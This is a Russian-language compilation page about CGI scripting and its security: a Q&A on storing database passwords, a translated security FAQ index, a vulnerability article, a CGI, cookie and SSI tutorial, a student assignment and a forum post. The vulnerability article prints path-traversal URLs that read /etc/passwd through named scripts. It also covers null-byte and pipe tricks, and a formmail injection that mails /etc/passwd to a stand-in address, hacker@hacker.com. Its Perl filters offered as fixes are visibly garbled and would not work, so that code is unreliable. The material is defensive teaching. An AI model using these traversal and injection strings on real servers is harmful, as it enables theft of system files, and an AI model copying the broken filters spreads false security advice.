Проблемы безопасности cgi скриптов


Содержание

Является ли пароль с открытым текстом в CGI script дырой безопасности?

Я читал, что с вашим веб-сервером все может пойти не так, что может привести к отображению PHP-скриптов в виде текстовых файлов в веб-браузере; следовательно, я переместил большинство своих PHP-скриптов в каталог вне корня веб-сайта. Теперь мне было интересно, может ли это произойти с CGI-скриптами в моем cgi-bin.

Моя главная проблема — это один script, который содержит имя пользователя и пароль для моей базы данных MySQL. Если это возможное отверстие для безопасности (по крайней мере, что касается содержимого базы данных), существует ли способ размещения конфиденциальных данных в другом месте и получения оттуда (например, сохранение его в файле в другом каталоге и чтение это из этого файла, например)? Мои сценарии написаны на языке Perl.

Я читал, что с вашим веб-сервером все может пойти не так, что может привести к отображению PHP-скриптов в виде текстовых файлов в веб-браузере; следовательно, я переместил большинство своих PHP-скриптов в каталог вне корня веб-сайта. Теперь мне было интересно, может ли это произойти с CGI-скриптами в моем cgi-bin.

Да. Если что-то пойдет не так, что приводит к тому, что программы будут поданы вместо выполнения, тогда будет раскрыто любое их содержимое. Это точно такая же проблема, как и для PHP (за исключением того, что, как правило, настраиваются каталоги cgi-bin (то есть aliased в каталог за пределами корня веб-сайта), это немного сложнее для возникновения проблем).

Моя главная проблема — это один script, который содержит имя пользователя и пароль для моей базы данных MySQL. Если это возможное отверстие для безопасности (по крайней мере, что касается содержимого базы данных), существует ли способ размещения конфиденциальных данных в другом месте и получения оттуда (например, сохранение его в файле в другом каталоге и чтение это из этого файла, например)?

Да. Именно это, просто убедитесь, что каталог находится за пределами webroot.

Для дополнительной безопасности убедитесь, что база данных принимает только учетные данные для подключений от минимального набора хостов, которым необходимо получить к нему доступ. например если база данных находится на том же сервере, что и веб-сервер, тогда разрешите только учетные данные для локального хоста. В этом случае также было бы полезно, если бы база данных могла слушать только локальный сетевой интерфейс.

Мои сценарии написаны на языке Perl.

Я хотел бы использовать один из Config:: * для этого.

Одно из упоминаний, которое стоит упомянуть, относится к общему хостингу.

Если вы используете хост, совместно используемый с другими пользователями, может быть невозможно скрыть пароль от них. Это зависит от деталей конфигурации для ОС и веб-сервера.

Например, в Linux обычно существует конфигурация Apache, на которой единственный пользователь, предлагающий веб-сайт для чтения файлов или записи пользователю веб-сервера, должен сделать их доступными для чтения/записи для всех пользователей.

Вы можете доверять всем этим пользователям, чтобы они не злоупотребляли этим самим, но если на одном из этих сайтов есть уязвимость, позволяющая злоумышленникам просматривать полную файловую систему, злоумышленник может использовать ее на всех других сайтах.

Есть контрмеры против этого, но они усложняют ситуацию для пользователей, поэтому многие хостеры не реализуют их.

Вопросы и ответы по безопасности данных в WWW

Настоящий документ является переводом документа

The World W >Lincoln D. Stein
Version 1.9.0, June 30, 1998

Перевод — Дмитрий Громов

От переводчика:
Я добавил страничку с сылками на другие сайты с полезной информацией по технологии WWW на русском языке.

Предупреждения

Исходные тексты вставок на сервере, включая Allaire Cold Fusion pages, могут быть взломаны на некоторых серверах для Windows NT. См. Что нового.

Зеркальные копии оригинала (на английском языке)

Смотрите здесь если Вас интересуют зеркальные копии или Вы сами хотите установить зеркальную копию.

СОДЕРЖАНИЕ

  1. Введение
  2. Что нового?
  3. Вопросы общего порядка
    • В1 О чем беспокоиться?
    • В2 О каких конкретных опасностях мы говорим?
    • В3 Являются ли какие-либо Web серверы и операционные системы более безопасными, чем другие?
    • В4 Являются ли какие-либо программы — Web серверы более безопасными, чем другие?
    • В5 Опасны ли CGI — скрипты?
    • В6 Опасны ли вставки на сервере?
    • В7 Какие предосторожности общего порядка следует соблюдать?
    • В8 Где можно получить дополнительную информацию по безопасности в сетях?
  4. Поддержка Безопасного Сервера
    • В9 Как следует регулировать права доступа к файлам моего сервера и корневым документам?
    • В10 Я использую сервер, снабженный большим количеством дополнительных функций. Привносят ли какие-либо из них дополнительные риски?
    • В11 Я слышал, что запускать сервер с правами пользователя «root» небезопасно. Так ли это?
    • В12 Я хочу использовать одно и то же дерево подкаталогов для моих серверов ftp и Web. Есть ли в этом кикие-либо опасности?
    • В13 Могу ли я полностью обезопасить свой сервер, запуская его в среде «chroot»?
    • В14 Моя локальная сеть защищена брандмауэром. Как я могу использовать его для увеличения безопасность моего узла Web?
    • В15 Моя локальная сеть защищена брандмауэром. Как я могу предоставить внешнему миру доступ к моему Web серверу?
    • В16 Как я могу определить, что мой узел был взломан?
  5. Защита Частных Документов на вашем узле
    • В17 Какие существуют типы ограничения доступа?
    • Q18 Насколько надежно ограничение доступа по IP адресу или имени домена?
    • В19 Насколько надежно ограничение доступа по имени пользователя и паролю?
    • В20 Что такое проверка пользователя (user verification)?
    • В21 Как ограничить доступ к документам на основе IP адреса или имени домена удаленного браузера?
    • В22 Как добавить нового пользователя и пароль?
    • В23Существуют ли скрипты CGI, позволяющие пользователям менять их пароли в процессе работы?
    • В24 Использование файла .htaccess для управления доступом к отдельным директориям так удобно, почему я должен использовать access.conf?
    • В25 Как работает шифрование?
    • В26 Что такое: SSL, SHTTP, Shen?
    • В27 Существуют ли какие-либо некоммерческие («freeware») защищенные серверы?
    • В28 Можно ли использовать «личные удостоверения» (Personal Certificates) для контроля доступа к серверу?
    • В29 Как принимать заказы по кредитным картам через Web?
    • В30 Что такое: First Virtual Accounts, DigiCash, Cybercash?
  6. Скрипты CGI
    • В31 В чем проблема CGI скриптов?
    • В32 Что лучше: хранить скрипты в директории cgi-bin или давать им расширение .cgi?
    • В33 Являются ли компилируемые языки, такие как C, более безопасными, чем интерпритируемые — Perl и командные языки оболочек ОС?
    • В34 Я нашел в Сети замечательный скрипт CGI и хочу его установить у себя. Как я могу проверить его безопасность?
    • В35Какие скрипты CGI имеют известные проблемы с безопасностью?
    • В36 Я разрабатываю собственные скрипты CGI. Чего мне следует избегать?
    • В37 Но если я не использую eval(), exec(), popen() и system(), то как я обеспечу доступ к моей базе данных/поисковой системе/графическому пакету?
    • В38 Безопасно ли использовать переменную окружения PATH для запуска внешних программ?
    • В39 Я слышал, что существует программный пакет cgiwrap, который делает скрипты безопаснее?
    • В40 Пользователи могут получать доступ к скриптам только через формы ввода, имеющиеся в моей системе, правильно?
    • В41 Могут ли пользователи видеть или изменять значения «спрятанных» («h ?
    • В67 Может ли ваш браузер выдать ваше имя пользователя и пароль в локальной сети?
    • В68 Известны ли какие-либо проблемы с безопастностью в Microsoft Internet Explorer?
    • В69 Известны ли проблемы в Netscape Communicator?
    • В70 Известны ли проблемы в браузере Lynx для Unix?
  7. Конкретные Серверы
    • Серверы для Windows NT
      • В71 Известны ли какие-либо проблемы в серверах Netscape?
      • В72 Известны ли проблемы в WebSite сервере?
      • В73 Известны ли проблемы в Purveyor?
      • В74 Известны ли проблемы в Microsoft IIS?
      • В75 Известны ли проблемы с безопасностью в сервере JavaWebServer от Sun?
      • В76 Известны ли проблемы с безопасностью в сервере MetaWeb Server от MetaInfo?
    • Серверы для UNIX
      • В77 Известны ли проблемы в NCSA httpd?
      • В78 Известны ли проблемы в Apache httpd?
      • В79 Известны ли проблемы в серверах Netscape?
      • В80 Известны ли проблемы в сервере Lotus Domino Go?
      • В81 Известны ли проблемы в сервере WN?
    • Серверы для Macintosh
      • В82 Известны ли проблемы в WebStar?
      • В83 Известны ли проблемы в MacHTTP?
      • В84 Известны ли проблемы в Quid Pro Quo?
    • Другие серверы
      • В85 Известны ли проблемы в сервере Novell WebServer?
  8. Библиография
Содержание Вперед, к Введение >» height=»22″ w >

Lincoln D. Stein (lstein@w3.org)

Last modified: Tue Jun 30 23:04:39 EDT 1998

Проблемы безопасности cgi скриптов

Представленная ниже страница, лишь часть огромного сайта посвященного различной компьютерной документации, на сайте собрано более 800 мб информации. Если Вы не нашли в этой статье, то что Вы ищите попробуте посмотреть здесь, cпросить на форуме или поискать необходимую Вам информацию в нашем каталоге ссылок сайтов компьтерной тематики.

Если же Вы хотите приобрести бумажную копию представленных здесь
материалов, обращайтесь в наш книжный магазин.

С уважением,
команда разработчиков eManual.ru

CGI-скрипты

div.main CGI-скрипты

Общая цель CGI-скриптов — позволить посетителю получать доступ лишь к определенной части информции, находящейся у вас на сервере. Такое определение сразу должно навести вас на мысли о безопасности и предотвращения действий, направленных на получение вашей информации и некорректного вмешательства в работу вашей системы. Если вы будете достаточно беспечны и легкомысленны в этом вопросе, вы предоставите посетителям доступ к тем участкам сервера, которые предпочтительнее было бы скрыть от посторонних глаз. Хотя ни один web-узел нельзя считать на 100% защищенным, снизить уровень риска при применении CGI-программ довольно просто. Далее мы рассмотрим наиболее характерные уязвимости в скриптах и попробуем свести риск к минимуму.
Наиболее часто встречающяяся уязвимость — это отсутсвие проверки посылаемых скрипту данных на метасимволы (такие, к примеру, как &;`'»|*?

<>^()[]<>$), что приводит к выводу скриптом содержимого файла или самого файла, которое администратор сервера предпочел бы скрыть. Элементарным решением этой проблемы есть фильтрация вводимого набора символом, выглядящая на Perl следующим образом:
$in =

s/([;<>*|`&$!#()[]<>:'»n])/\$1/g;
По моему авторы скриптов забывают об этом или не хотят запоминать, т.к. самую элементарную проверку на символы «/» и «..» до сих пор не делают.
Почему же так важна проверка на метасимволы ? Потому, что к примеру у вас есть скрипт view.pl ( www.your_host.com/cgi-bin/view.pl ) который показывает какой-то файл (подобный пример часто встречается в поисковых скриптах и в файлах различных web-форумов) т.е. www.your_host.com/cgi-bin/view.pl?site.htm покажет вам site.htm.
Но если мы передадим скрипту запрос вида
www.yor_host.com/cgi-bin/view.pl. /../../../etc/passwd
То данная команда выведет нам в качестве результата файл с паролями *nix системы. Это происходит из-за того, то скрипт, получая данные ../../.. исполняет команду перехода по директориям. Получается, что он доходит то корня диска, оттуда переходит в директорию etc/ и показывает на файл passwd, расположенный там же.
$file=s/..//g; — вот такой маленький кусочек кода perl намного облегчит жизнь администратора.
Вот лишь несколько скриптов, в которых встречается эта уязвимость:
www.your_site.com/cgi-bin/htmlscript. /../../../etc/passwd
www.your_site.com/cgi-bin/shopper.cgi?newpage=../../../etc/passwd
www.your_site.com/cgi-bin/Web_Store/web_store.cgi?page=../../../etc/passwd%00ext

Наверное вы обратили внимание на последний пример. Наверное, у вас возник вопрос, а что такое за /etc/passwd%00ext. Это тоже один из примеров уязвимости cgi-скриптов. Но эта уязвимость не столько зависит от скрипта, сколько от операционной системы. Система неадекватно реагирует на символ 0.( не только именно на 0, но я привел лишь самый элементарный пример.
К примеру, page.cgi?index.htm покажет вам документ. А page.cgi?index.htm%00 покажет вам исходный код документа.
Самый простой вариант решения этой проблемы, это поставить фильтр на этот символ, на perl этот будет выглядеть примерно так :
$insecure_data=

Также в языке Perl, добавление символа «|» засталяет программу, которая должна открывать файл — запустить его.
К примеру: open(FILE, «/bin/ls») — даст вам бинарный код, а если подставить «|»
open(FILE, «/bin/ls|») — будет выполнена команда, в данном случае ls.
s/(|)/\$1/g — такая вставка в Perl-код предотвратит это. ( Perl скажет — ‘unexpected end of file’).

Также скрипты активно используются для создания многочисленных списков рассылок и тому подобных вещей, применяемых для побее тесного взаимодействия сайта и посетителя. Обычно данные скрипту передаются в виде html-формы.
Злоумышленник может запросто сохранить исходный код html-формы, модифицировать его, а затем открыть страницу, уже модифицированую у себя в броузере. Хакер может изменить значения и имена полей, модифицировать или удалить скрытые поля ( Input type=hidden ), после чего предьявить форму целевой CGI-программе. Кроме того, ничто не помешает ему вызвать вашу программу прямо из коммандной строки браузеоа и передать в нее информацию в строке запроса.
Типичный пример, алгоритм которого вы можете еще применить во многих других скриптах = это уязвимость в очень старом скрипте formmail 1.0
Когда скрипт получает данные, он составляет письмо и, пользуясь полученными данными, дает примерно следующую команду:
$ mail some_email $recipient
Предположим, что в документе html, параметр recipient (hidden) содержит адрес admin@server.com Тогда в итоге после выполнения всех команд он завершится посылкой письма по этому адресу командой
httpd$ mail admin@server.com
Но нам ничего не мешает сохранить документ, немного подредактировать его, добавив свои команды ( к примеру
«;cat /etc/passwd | mail hacker@hacker.com») и затем отправить данные скрипту. Тогда скрипт все внимательно обработает, составит письмо м выполнит команду httpd$ mail hacker@hacker.com; cat /etc/passwd | mail hacker@hacker.com Вот и пример формы, выполняющей вышеописанные действия:


Один из самых простых способов установить, похищена ли форма — это проверить значение переменной среды HTTP_REFERER, модержащей URL, из которого была вызвана ваша программа. Затем это значение следует сравнить с тем, которое должно быть при вызове программы с допустимой страницы. Если вы, скажем, хотите, чтобы программа вызывалась только со страниц, URL которых начинаются с www.server.com/some_file/, то можете поставить в начало программы что-то вроде этого:
if ($ENV <'HTTP_REFERER'>!=m#^http://www.server.com/some_file/#)Но этот метод защиты годится только в том случае, если хакер не переопределил HTTP_REFERER. Когда форма предьявляется, ваша программа использует значение поля для построения пути к файлу (например, /home/hir/hack.htm), а затем выводит данный файл. Эта возиожность кажется довольно безобидной, пока хакер не изменит форму таким образом, что она будет содержать пункт со значением ../../../etc/passwd. Ваша программа сможет взять это значение, создать путь к этому файлу и вывести passwd в окно браузера.
Этого можно избежать, указав в программе корневую директорию и сделать так, чтобы все пути к файлам начинались именно с этого имени каталога.
if (file_path !

/^root_directory/) Вот пожалуй самые распространненые ошибки в CGI-программах и возможные методы исправления этих ошибок и повышение безопасности сервера.

Проблемы безопасности cgi скриптов

Клиент может запросить у веб-сервера как документ-файл с диска, так и документ, динамически формируемый некоторой внешней программой (как правило — в зависимости от данных, предоставленных пользователем при заполнении формы). Интерфейс CGI представляет собой спецификацию взаимодействия веб-сервера и внешней программы, которую веб-сервер запускает для обработки запроса. (Внешняя программа, вне зависимости от своей природы, часто называется CGI-скриптом.)

CGI определяет каким образом данные, предоставленные клиентом в запросе, передаются программе, как программа возвращает сгенерированный HTML-контент серверу, и какие переменные окружения устанавливаются сервером при запуске программы. Переменные окружения несут дополнительную информацию о сервере и запросе (например, тип сервера, IP-адрес клиента и др.).

Данные из заполненной клиентом HTML-формы могут передаваться на сервер двумя методами: GET и POST, это определяется параметром method соответствующего тэга . В первом случае (GET) данные присоединяются после вопросительного знака в конец URL, указанной в параметре action, во втором случае — передаются в теле запроса — в секции, предназначенной для данных (следует после всех заголовокв и пустой строки). В обоих случаях данные кодируются одинаково — см. след. пункт.

При вызове CGI-программы все, что поступило в теле запроса, подается программе на стандартный ввод, а все, что находится в URL после вопросительного знака, помещается в переменную окружения QUERY_STRING. Веб-сервером данные запроса никак не интерпретируются и не преобразуются, эти задачи возложены на CGI-программу.

CGI-программа выдает содержимое ответа (как правило, HTML-контент) на свой стандартный вывод, который перехватывается веб-сервером с тем, чтобы отослать эти данные клиенту. Предварительно CGI-программа должна напечатать заголовок «Content-Type» и отделить его от данных пустой строкой. Например, вывод CGI-программы, генерирующей HTML, может выглядеть следующим образом:

Конфигурирование сервера Apache для исполнения CGI-скриптов

Для того, чтобы Apache воспринимал все файлы, находящиеся в некотором каталоге как CGI-скрипты, нужно использовать директиву Это означает, что для обработки запроса URL вида http://your.server.com/cgi-bin/dir/script будет взят не файл script из каталога DocumentRoot/cgi-bin/dir/, а запущена программа /usr/local/www/cgi-bin/dir/script.

Для смешанного хранения файлов, подлежащих просмотру, и CGI-скриптов в одном каталоге внутри дерева DocumentRoot следует присвоить CGI-скриптам одинаковые расширения (например, «.cgi») и указать серверу, что интерпретировать такие файлы следует как CGI-скрипты: Директива AddHandler может быть использована в любом контексте конфигурации Apache.

Структура URL и кодирование данных запроса

Для работы CGI-программ важное значение имеют части URL, называемые PATH_INFO и QUERY_STRING. Рассмотрим запрос с URL вида

Используя директиву ScriptAlias, приведенную в предыдущем пункте, сервер определяет что произошло обращение к CGI-программе и для поиска этой программы заменяет начальное /cgi-bin/ на /usr/local/www/cgi-bin/. Следуя запрошенному URL, сервер обнаруживает в этом каталоге подкаталог dir, однако подкаталога prog в каталоге /usr/local/www/cgi-bin/dir не обнаружено. В таком случае сервер предполагает, что prog — имя CGI-программы, подлежащей выполнению. Если программа /usr/local/www/cgi-bin/dir/prog не найдена или не может быть исполнена, сервер возвращает клиенту ошибку 403, 404 или 500. В противном случае программа prog запускается, а оставшаяся часть пути из URL — /a/b — передается программе prog в переменной окружения PATH_INFO. Таким способом можно передать в CGI-программу дополнительные параметры.

Все, что находится после вопросительного знака — A=1&B=qwerty — передается программе prog в переменной окружения QUERY_STRING. Это могут быть данные из заполненной пользователем формы, отправленные на сервер методом GET, либо какая-то другая информация (сервер не делает никаких предположений об интерпретации данных в QUERY_STRING, это задача вызываемой программы).

Данные из полей формы, заполненной пользователем — независимо от метода (POST или GET), которым они пересылаются на сервер — кодируются следующим образом:

Пары имя-значение разделяются амперсандом. Алфавитно-цифровые символы и некоторые знаки препинания, не имеющие специального значения (тире, подчеркивание) передаются как есть. Остальные символы кодируются в виде «%NM«, где NM — двузначный шестнадцатеричный код символа. Пробел может передаваться как «%20» или как символ «+». Кириллические символы также должны кодироваться указанным способом. Кодировка производится броузером при отправке полей заполненной формы.

Например: означает, что в поле birthday пользователь внес «11/05/73», а в поле name — «John Smith».

Декодирование данных формы является задачей CGI-программы.

При пересылке данных формы, закодированных вышеописанным способом, методом POST клиент должен установить заголовок запроса Content-Type следующим образом:

Переменные окружения CGI

При запуске CGI-скрипта веб-сервер устанавливает дополнительные переменные окружения:

Метод аутентифицирования, использованный для опознания пользователя. См. также REMOTE_USER и REMOTE_IDENT.

Длина данных запроса в байтах, переданных CGI-скрипту через стандартный ввод.

MIME-тип данных запроса.

Корневой каталог дерева документов веб-сервера (определяется директивой DocumentRoot).

Используемая версия CGI.

Список MIME-типов данных, которые клиент может принять.

Адрес электронной почты пользователя, сделавшего запрос (многие броузеры не передают такие данные).

URL документа, в котором находилась ссылка, вызвавшая настоящий запрос.

Броузер клиента.

PATH_INFO, преобразованное в полный путь в файловой системе сервера (PATH_INFO, добавленное к DOCUMENT_ROOT).

Данные запроса, переданные в составе URL вслед за вопросительным знаком — см. выше «Структура URL и кодирование данных запроса».

IP-адрес клиента.

Метод запроса (GET, POST, HEAD и т.д.).

Номер порта сервера.

Тип и номер версии ПО веб-сервера.

Переменная Значение
AUTH_TYPE
CONTENT_LENGTH
CONTENT_TYPE
DOCUMENT_ROOT
GATEWAY_INTERFACE
HTTP_ACCEPT
HTTP_FROM
HTTP_REFERER
HTTP_USER_AGENT
PATH_INFO PATH_INFO (если есть) — см. выше «Структура URL и кодирование данных запроса»
PATH_TRANSLATED
QUERY_STRING
REMOTE_ADDR
REMOTE_HOST Имя DNS клиента.
REMOTE_USER Аутентифицированное имя пользователя.
REQUEST_METHOD
SCRIPT_NAME Виртуальный путь (например, /cgi-bin/program.pl) к исполняемому CGI-скрипту.
SERVER_NAME DNS-имя сервера или, при невозможности определить имя, его IP-адрес.
SERVER_PORT
SERVER_PROTOCOL Имя и версия протокола, через который был сделан запрос (например, HTTP/1.1).
SERVER_SOFTWARE

С Apache поставляется стандартный тестовый скрипт test-cgi, выводящий занчения переменных окружения CGI.

Cookies и другие методы сохранения состояния

Основной проблемой при написании интерактивных CGI-скриптов, т.е. скриптов, чьи последовательные вызовы одним пользователем логически связаны друг с другом, является проблема сохранения состояния. Дело в том, что в протокол HTTP рассматривает все поступающие на сервер запросы как независимые друг от друга. Соответственно, после обработки каждого вновь поступившего запроса CGI-скрипт полностью завершает свою работу, а для обработки следующего запроса, неважно относится ли он к тому же логическому сеансу работы пользователя или нет, скрипт начинает свою работу с нуля без всякой информации о предыстории.

Примерами ситуаций, когда требуется сохранение состояния, являются: процесс последовательной регистрации, когда регистрант должен заполнить несколько форм, причем очередная форма зависит от результата заполнения предыдущей; шоппинг он-лайн, когда пользователь собирает покупки в корзину по мере своего движения по сайту; тесты и викторины, когда пользователь последовательно отвечает на вопросы.

Существует несколько методов сохранения состояния:

  1. cookies — сохранение на компьютере клиента,
  2. скрытые поля — сохранение внутри формы, посылаемой клиенту,
  3. сохранение в файле какого-либо формата на сервере,
  4. сохранение в параллельно работающей базе данных.

Два последних метода реализуют сохранение состояния на стороне сервера.

В качестве параллельно работающей базы данных может выступать любая из имеющихся СУБД, для обращения к которой язык программирования скрипта имеет интерфейс (в Перле есть библиотеки, обеспечивающие взаимодействие со всеми распространенными СУБД).

Также существует решение в виде демона, который запускается параллельно с http-сервером, и сохраняет требуемую информацию в своей оперативной памяти в виде переменная=значение. Для записи или извлечения данных скрипт соединяется с демоном по заранее оговоренному порту TCP или UDP, идентифицирует себя и использует набор простых команд типа «save name=value» и «extract name» (возвращается value).

Интересно, что несмотря на сложность реализации, такое решение (или использование СУБД с возможностью доступа по сети) позволяет разделять данные между скриптами работающими на различных серверах (если реализуется какая-то сложная распределенная интерактивная веб-система), при этом не вовлекается сохранение данных на стороне пользователя.

Основным недостатком сохранения данных в файле, кроме использования дискового пространства и накладных расходов на файловые операции, является операция записи на диск как таковая. Запись на диск может быть источником серьезных проблем в плане безопасности, так как работа CGI-скрипта фактически управляется воздействием внешних пользователей, которые могут иметь враждебные намерения. Путем посылки каких-либо специальных данных неаккуратно написанному скрипту можно вызвать серьезный сбой в работе сервера. Если же скрипт имеет право записи на диск, то последствия могут быть гораздо серьезнее, поэтому обычно CGI-скрипты, как и сам веб-сервер, работают с минимальными привилегиями от имени пользователя nobody без права записи на диск.

Сохранение состояния на стороне пользователя

Сохранение данных состояния на стороне пользователя (cookies и, технически, скрытые поля) существенный недостаток: пользователь имеет полный доступ к сохраняемым данным и может их несанкционированно изменить (например, прочитать правильный ответ теста или изменить идентификатор пользователя). Достоинством является простая реализация.

Cookies

Cookies — это данные вида имя=значение, которые, будучи получены от сервера, сохраняются броузером на диске пользователя для их возврата серверу при последующих запросах к этому или другому URL. Поскольку данные сохраняются на диске, они могут быть использованы после перезапуска броузера.

Сервер передает cookie через специальное поле заголовка HTTP-ответа «Set-Cookie». Броузер возвращает cookie также через специальное поле в загловке HTTP-запроса — «Cookie». На стороне сервера cookie формируется, как правило, скриптом, который просто выводит в STDOUT соответствующий заголовок. Передача данных, полученных через cookie, от броузера в скрипт производится сервером через установку переменной окружения HTTP_COOKIE, которая доступна внутри скрипта и содержит пары имя=значение, которые броузер передал внутри поля «Cookie» в заголовке своего запроса.

Формат поля Set-Cookie (HTTP-ответ)

Все элементы, кроме имя=значение и Version, не являются обязательными. В заголовке одного ответа сервера может содержаться несколько полей Set-Cookie.

имя=значение информация, предназначенная для сохранения на стороне клиента и последующего возврата серверу; ни в имени, ни в значении не могут содержаться символы пробела, табуляции или точки с запятой; при необходимости такие символы должны быть закодированы в соответствии с общими правилами кодирования URL.

Max-Age=секунды устанавливает срок годности данных (в секундах с момента получения cookie); по умолчанию — до окончания работы данного проуесса броузера.

Comment=текстовый_комментарий комментарий сервера по поводу предназначения cookie; предполагается, что пользователь может отказаться работать с этим cookie, если комментарий ему не понравится.

Domain=домен_сервера домен, для которого действительно данное cookie (броузер должен возвращать cookie при обращении ко всем серверам данного домена, с учетом параметра Path [см. ниже]); домен должен начинаться с точки; данный сервер должен находиться в этом домене. Если параметр Domain не указан — возвращать cookie только данному серверу.

Path=URI_или_часть_URI путь от корня дерева документов сервера (URI); броузер должен возвращать cookie при обращении к данному URI и ко всем URI, начинающимся с данного; по умолчанию — URI, при запросе которого было сгенерировано cookie, минус имя файла.

Пример: при обращении на «http://s.vvsu.ru/a/b/c» сервер выдал ответ с установленным полем в заголовке: Это значит, что cookie должно возвращаться броузером при обращении на все URL вида «http://s.vvsu.ru/a/b/какое-то_имя_файла«.
Если же SetCookie в ответе сервера выглядит вот так: то броузер должен присоединять это cookie ко всем запросам URL вида: «http://имя_без_точки.vvsu.ru/a/b/некий_путь_или_никакого«.


Secure если это параметр присутствует, то броузер должен возвращать cookie серверу только через защищенный канал связи; стандарт не специфицирует конкретный механизм защиты данных при передаче, но предполагается, что это SSL.

Формат поля Cookie (HTTP-запрос)

Параметры Path и Domain включаются только если они были установлены в заголовке Set-Cookie. Если несколько cookie удовлетворяют параметру Path, то они указываются в одном заголовке Cookie друг за другом (через точку с запятой) в следующем порядке: первыми передаются cookie с более длинным параметром Path. Порядок следования при равенстве параметров Path не определяется.

Скрытое поле создается внутри формы с помощью тега

Когда броузер получает документ с этой формой, содержимое полей типа «h >Недостатком этого метода (кроме указанной выше возможности доступа и изменения данных) является то, что данные сохраняются только во время одного сеанса работы броузера. Если броузер будет перезапущен, все данные будут утеряны и процесс взаимодействия со скриптом начнется с нуля.

Server Side Includes

SSI представляет собой механизм разбора HTML-документов на стороне сервера с целью обнаружения в документе и выполнения директив, добавляющих в документ дополнительную информацию.

Все директивы вставляются внутрь тэгов HTML-комментариев, что позволяет клиенту, в случае, если сервер не поддерживает SSI, игнорировать эти директивы. Директивы имеют следующий формат:

Ниже следует список основных директив SSI и их параметров.

echo Подставляет в документ значение указанной в качестве параметра переменной окружения (см. также список CGI-переменных) или специальной переменной SSI (см. ниже):

include Вставляет в документ текст другого файла. Параметры: file — указывает путь к вставляемому файлу относительно расположения данного документа; virtual — указывает виртуальный путь (как он указывался бы в URL) к вставляемому файлу. Эта директива очень удобна для создания стандартных шапок и подвалов веб-страниц.

fsize Вставляет размер указанного в параметре файла (путь к файлу виртуальный):

flastmod Вставляет в документ дату и время последней модификации указанного в параметре файла (путь к файлу виртуальный): Формат вывода даты и времени может быть специфицирован параметром timefmt директивы config.

exec Выполняет внешнюю программу, указанную параметром, и вставляет вывод этой программы в документ. Параметры: cmd — выполняемая программа является неким обычным приложением; cgi — выполняемая программа является CGI-скриптом В первом примере используется подстановка значений переменных окружения (см. CGI-переменные).

config Модифицирует различные аспекты работы SSI. Параметры:

  • errmsg — сообщение об ошибке, выдаваемое при невозможности выполнить директиву:
  • sizefmt — устанавливает формат вывода размера файла (подставляемого директивой fsize; значения: bytes — выводит в байтах; abbrev — округляет до целого числа килобайт.
  • timefmt — устанавливает формат вывода даты и времени, подробнее см. здесь .

Специальные переменные SSI

Ниже приведены переменные SSI, которые можно использовать в директиве echo в дополнение к переменным CGI.

DOCUMENT_NAME Имя данного документа. Например:

DOCUMENT_URL Виртуальный путь к данному документу. Например:

QUERY_STRING_UNESCAPED Декодированные данные из QUERY_STRING (см «Структура URL и кодирование данных запроса»), при этом все метасимволы шелла экранированы обратным слэшем (\).

DATE_LOCAL Текущие дата и время по местному времени. Например:

DATE_GMT Текущие дата и время по Гринвичу.

LAST_MODIFIED
Дата и время последней модификации данного документа. Например:

Задание

Написать CGI-скрипт для игры в виселицу (угадывание слова по буквам).

Сервер загадывает слово из словаря и показывает его пользователю в замаскированном виде (буквы заменены звездочками). Пользователь имеет некоторое число попыток; во время каждой попытки он может угадать одну букву. Если пользователь правильно угадывает букву или называет букву, которую он уже использовал, попытка не засчитывается. Иначе число попыток уменьшается на единицу.

Если пользователь правильно угадывает букву, сервер демаскирует в отображении слова все вхождения угаданной буквы. В любом случае сервер добавляет предложенную пользователем букву в список использованных букв, который демонстрируется во время каждой попытки для удобства пользователя. Также демонстрируется число оставшихся попыток.

Игра прекращается, если число попыток стало равным нулю (пользователь проиграл) или если угаданы все буквы в слове (пользователь выиграл).

Если пользователь на какой-либо попытке предлагает более одной буквы, считается, что пользователь пытается угадать слово целиком. При верной догадке пользователь выигрывает, иначе проигрывает независимо от числа оставшихся попыток.

Слова выбираются случайным образом из заданного текстового файла.

Соотношение числа попыток и длины слова разумно определяется программистом. Например, число попыток есть заданная функция от длины слова; число попыток жестко привязано к каждому слову в словаре; длина слов в словаре и число попыток являются константами; при определении числа попыток используется заявленный пользователем уровень сложности.

При первом обращении к скрипту выдается заставка и регистрационная форма вида:

При написании скрипта следует непрерывно помнить следующее основное правило CGI-программиста:

С каждым новым HTTP-запросом скрипт начинает свою работу с нуля. В данном случае: в игру может играть несколько пользователей одновременно; каждый из них последовательно формирует несколько HTTP-запросов; но для обработки каждого очередного запроса, поступившего на сервер, неважно к какому этапу игры или пользователю он относится, связан ли он с предыдущими или другими поступившими одновременно запросами, скрипт запускается с нуля и не имеет никаких знаний о своих предыдущих запусках и о состоянии игорного процесса.

В связи с вышесказанным требуется решить две проблемы при обработке каждого вновь поступившего запроса (или, что тоже, при каждом запуске программы):

  1. Идентификация пользователя
  2. Получение информации о состоянии игры (слово, использованные буквы, число попыток)

Если такую информацию получить не удается, считается, что это первое обращение пользователя и ему предлагается регистрационная форма.

О методах сохранения состояния в CGI-программировании см. соответствующий раздел выше.

В результате анализа информации о состоянии игры и содержимого заполненной пользователем формы (если таковое имеется в поступившем запросе) программа разветвляется для формирования одного из следующих ответов (HTML-текстов):

  • регистрационная форма,
  • форма попытки,
  • сообщение об окончании игры.

После выдачи сформированного HTML-текста и сохранения (каким-либо способом) нового состояния, программа прекращает свою работу.

Скрипт имеет методику для подсчета очков, заработанных в игре, (алгоритм подсчета — на усмотрение программиста) и ведет таблицу чемпионов (формируется скриптом по нажатию специальной кнопки, которая демонстрируется в регистрационной форме).

Также для каждого пользователя ведется таблица его результатов; слова, уже предлагавшиеся пользователю, независимо от того, угадал он их или нет, исключаются из списка предложений.

[РЕШЕНО] Не работают cgi скрипты

Привет хабражители!
Пытаюсь сделать доступными графики температуры сервера в браузере
На сервере работает Lighttpd + Fastcgi. Установил rrdtool.
Настроил lm-sensors, sensord в фоне наполняет кольцевую БД в rrd файле.
Согласно man из sensord автоматический сформировал cgi скрипт /usr/lib/cgi-bin/sensord.cgi

Как я понял, именно этот cgi скрипт будет запускать команду на формирование изображений графиков и он же будет их отображать как html файл.
Далее читаю:
Finally, you should be able to view your sensor readings from the URL `http://local‐
host/cgi-bin/sensord.cgi’.

В /var/www делаю символическую ссылку на /usr/lib/cgi-bin
Но, к сожалению при попытке открыть cgi файл в Chrome или Firefox мне лишь предлагается скачать его. Срабатывает только в Internet Explorer 6 и то не до конца:

Прошу помочь кто сталкивался с подобной проблемой.
Заранее спасибо.

Diplom Consult.ru

